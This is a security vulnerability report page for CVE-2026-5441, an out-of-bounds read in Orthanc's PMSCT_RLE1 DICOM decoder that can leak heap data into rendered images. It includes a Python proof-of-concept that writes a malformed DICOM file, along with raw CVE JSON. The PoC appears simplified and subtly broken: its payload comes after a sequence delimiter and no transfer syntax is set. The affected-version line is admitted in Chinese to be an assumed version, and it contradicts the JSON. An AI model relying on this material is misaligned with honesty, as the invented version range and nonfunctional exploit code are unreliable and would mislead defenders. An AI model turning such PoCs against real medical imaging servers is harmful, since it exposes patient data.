Security Vulnerability Report
中文
CVE-2026-5441 CVSS 7.1 HIGH

CVE-2026-5441

Published: 2026-04-09 15:16:16
Last Modified: 2026-04-14 20:18:02

Description

An out-of-bounds read vulnerability exists in the `DecodePsmctRle1` function of `DicomImageDecoder.cpp`. The `PMSCT_RLE1` decompression routine, which decodes the proprietary Philips Compression format, does not properly validate escape markers placed near the end of the compressed data stream. A crafted sequence at the end of the buffer can cause the decoder to read beyond the allocated memory region and leak heap data into the rendered image output.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:* - VULNERABLE
Orthanc Server < 1.12.5 (假设版本,请以官方公告为准)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Simulate crafting a malformed DICOM file with PMSCT_RLE1 format # This script creates a file with an invalid escape marker near the end of the stream. # NOTE: This is a simplified PoC for demonstration purposes. def create_malformed_dicom(filename): with open(filename, 'wb') as f: # Write a minimal DICOM preamble and prefix f.write(b'\x00' * 128) f.write(b'DICM') # Write simplified meta elements (skipped for brevity, assuming parser handles it) # Focus on the dataset containing the pixel data with PMSCT_RLE1 transfer syntax # Tag: PixelData (7FE0, 0010) f.write(struct.pack('<H', 0x7FE0)) f.write(struct.pack('<H', 0x0010)) # Length: Undefined (FFFFFFFF) for compressed data f.write(struct.pack('<I', 0xFFFFFFFF)) # Sequence Delimiter Item (End of Pixel Data) f.write(b'\xFE\xFF\x00\xE0') f.write(struct.pack('<I', 0x00000000)) # Here we inject the malformed RLE stream # PMSCT_RLE1 specific malformed payload # Trigger: Escape marker at the very end causing OOB read payload = b'\x00' * 100 # Padding payload += b'\xFF' # Malformed escape marker near end f.write(payload) print(f"Malformed DICOM file created: {filename}") if __name__ == "__main__": create_malformed_dicom("crash_dicom.dcm")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5441", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:16.443", "lastModified": "2026-04-14T20:18:01.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability exists in the `DecodePsmctRle1` function of `DicomImageDecoder.cpp`. The `PMSCT_RLE1` decompression routine, which decodes the proprietary Philips Compression format, does not properly validate escape markers placed near the end of the compressed data stream. A crafted sequence at the end of the buffer can cause the decoder to read beyond the allocated memory region and leak heap data into the rendered image output."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}